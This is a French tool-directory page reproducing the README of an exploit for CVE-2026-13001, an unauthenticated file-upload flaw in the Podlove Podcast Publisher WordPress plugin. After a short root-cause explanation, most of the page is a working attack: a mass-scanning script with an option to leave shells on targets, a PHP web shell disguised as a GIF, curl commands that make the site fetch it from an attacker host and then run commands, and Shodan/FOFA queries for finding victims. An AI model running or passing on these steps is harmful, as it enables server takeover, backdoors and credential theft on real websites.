Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-13001 — Podlove Podcast Publisher - RCE par téléchargement de fichier non authentifié via l'incohérence entre is_image() et extract_file_extension() | CVSS 9.8 | Kitploit
Outils/GitHubGitHub/shinthink/cve-2026-13001
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et ÉducationDéveloppement de Charges Utiles
GitHubshinthink/cve-2026-13001

CVE-2026-13001

Podlove Podcast Publisher - RCE par téléchargement de fichier non authentifié via l'incohérence entre is_image() et extract_file_extension() | CVSS 9.8

Voir le dépôt
21il y a 1 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-13001 — Podlove Podcast Publisher : Téléchargement de fichier non authentifié menant à une exécution de code à distance (RCE)

Incompatibilité entre is_image() et extract_file_extension() → Téléchargement de polyglotte PHP


Présentation

CVE-2026-13001 est une vulnérabilité critique (CVSS 9,8) de téléchargement arbitraire de fichier sans authentification dans le plugin WordPress Podlove Podcast Publisher versions .

≤ 4.5.1

La vulnérabilité exploite une divergence entre deux fonctions internes qui analysent différemment les extensions de fichier :

  • is_image() utilise basename() qui inclut la chaîne de requête → l'URL shell.php?.gif apparaît comme .gif ✅ (image valide)
  • extract_file_extension() utilise parse_url() qui ne conserve que le chemin → retourne .php → le fichier est enregistré avec l'extension .php 🚨

Les attaquants téléchargent des polyglottes PHP GIF89a (en-tête GIF valide + PHP intégré) qui passent la validation d'image mais s'exécutent en tant que PHP lorsqu'ils sont accédés.

Versions affectées

VersionStatut
≤ 4.5.1Vulnérable
4.5.2+Corrigé

Découvert par : Talal Nasraddeen via Wordfence (14 juillet 2026)


Mécanisme de la vulnérabilité

Cause racine

root@kitploit:~
// is_image() — uses basename() which includes query string
function is_image($url) {
    $ext = strtolower(pathinfo(basename($url), PATHINFO_EXTENSION));
    return in_array($ext, ['jpg','jpeg','png','gif','webp']);
}
// URL: https://attacker.com/shell.php?.gif
// basename() → "shell.php?.gif" → ext = "gif" ✅ BYPASSED
root@kitploit:~
// extract_file_extension() — uses parse_url() path only
function extract_file_extension($url) {
    $path = parse_url($url, PHP_URL_PATH);
    return pathinfo($path, PATHINFO_EXTENSION);
}
// URL: https://attacker.com/shell.php?.gif
// parse_url() → "/shell.php" → ext = "php" 🚨 SAVED AS .php

Déroulement de l'attaque

root@kitploit:~
1. L'attaquant héberge un polyglotte PHP GIF89a à l'adresse attacker.com/shell.php?.gif
2. GET /?podlove_image_cache_url={hex(url)}&podlove_file_name=test
3. is_image() valide l'extension .gif → OK
4. Le plugin télécharge le fichier → l'enregistre sous test_original.php dans cache/
5. L'attaquant accède à /wp-content/cache/podlove/{hash}/test_original.php
6. PHP s'exécute → RCE

Installation

root@kitploit:~
git clone https://github.com/shinthink/CVE-2026-13001.git
cd CVE-2026-13001
pip install -r requirements.txt

Utilisation

root@kitploit:~
# Cible unique
python cve_2026_13001.py -t target.com

# Scan de masse
python cve_2026_13001.py -f targets.txt -o shells.txt

# URL de payload personnalisée
python cve_2026_13001.py -t target.com --payload-url https://yourserver/shell.php?.gif

# Mode debug, laisser les shells
python cve_2026_13001.py -t target.com --debug --no-cleanup

Arguments

root@kitploit:~
  -t, --target       Cible unique (domaine ou IP)
  -f, --file         Liste de cibles, une par ligne
  -o, --output       Sauvegarder les URL RCE dans un fichier
  --payload-url      URL hébergeant le polyglotte PHP (par défaut : GitHub raw)
  --threads          Nombre de travailleurs concurrents (par défaut : 30)
  --no-cleanup       Laisser les shells sur la cible
  --debug            Afficher chaque requête HTTP
  -v, --verbose      Sortie verbeuse

Preuve de concept

Cible unique

root@kitploit:~
$ python cve_2026_13001.py -t podcast-site.com
root@kitploit:~
  Podlove Podcast Publisher | CVE-2026-13001 | CVSS 9.8

  Host       : podcast-site.com
  Podlove    : OUI v4.5.1
  Upload     : OUI
  RCE        : OUI
  Shell      : https://podcast-site.com/wp-content/cache/podlove/a1/b2.../think_xxx_original.php?t=TOKEN
  Output     : uid=33(www-data) gid=33(www-data)
  Time       : 4.2s

Scan de masse

root@kitploit:~
  Cibles : 500  |  Threads : 30
  URL du payload : https://raw.githubusercontent.com/shinthink/payloads/main/shell.gif

  [RCE] podcast-vuln-01.com       https://podcast-vuln-01.com/wp-content/cache/podlove/...
  [150/500] 30% | Détecté:42 RCE:8

Exploitation manuelle

Étape 1 — Héberger un shell polyglotte

root@kitploit:~
// shell.php — enregistrer et héberger sur votre serveur
GIF89a<?php system($_GET['c']); ?>

Étape 2 — Encoder l'URL en hexadécimal avec la technique de contournement

root@kitploit:~
# URL : https://attacker.com/shell.php?.gif
echo -n "https://attacker.com/shell.php?.gif" | xxd -p | tr -d '\n'

Étape 3 — Déclencher le téléchargement dans le cache

root@kitploit:~
curl 'https://target.com/?podlove_image_cache_url=68747470733a2f2f...&podlove_file_name=shell&podlove_width=100&podlove_height=100&podlove_crop=0'

Étape 4 — Accéder au shell

root@kitploit:~
# Chemin : wp-content/cache/podlove/{h[:2]}/{h[2:]}/{nom}_original.php
curl 'https://target.com/wp-content/cache/podlove/a1/b2c3.../shell_original.php?c=id'

FOFA / Shodan

root@kitploit:~
FOFA:   body="podlove-podcasting-plugin-for-wordpress"
Shodan: http.html:"podlove"

Impact

Une exploitation réussie permet l'exécution de code à distance avec les droits de l'utilisateur du serveur web :

  • Extraire wp-config.php → identifiants de la base de données
  • Accéder à tout le contenu WordPress, aux utilisateurs et aux données des plugins
  • Déployer des portes dérobées persistantes
  • Pivoter vers les réseaux internes

Avertissement

À USAGE ÉDUCATIF ET DE TEST AUTORISÉ UNIQUEMENT.

Les auteurs n'assument aucune responsabilité en cas d'utilisation abusive.


Références

RessourceLien
Avis Wordfencewordfence.com
Publication de sécurité Podlovepodlove.org
Entrée NVDCVE-2026-13001
PoC par Raimu0x19GitHub
ChercheurTalal Nasraddeen

Non affilié à Podlove.

Télécharger l’outil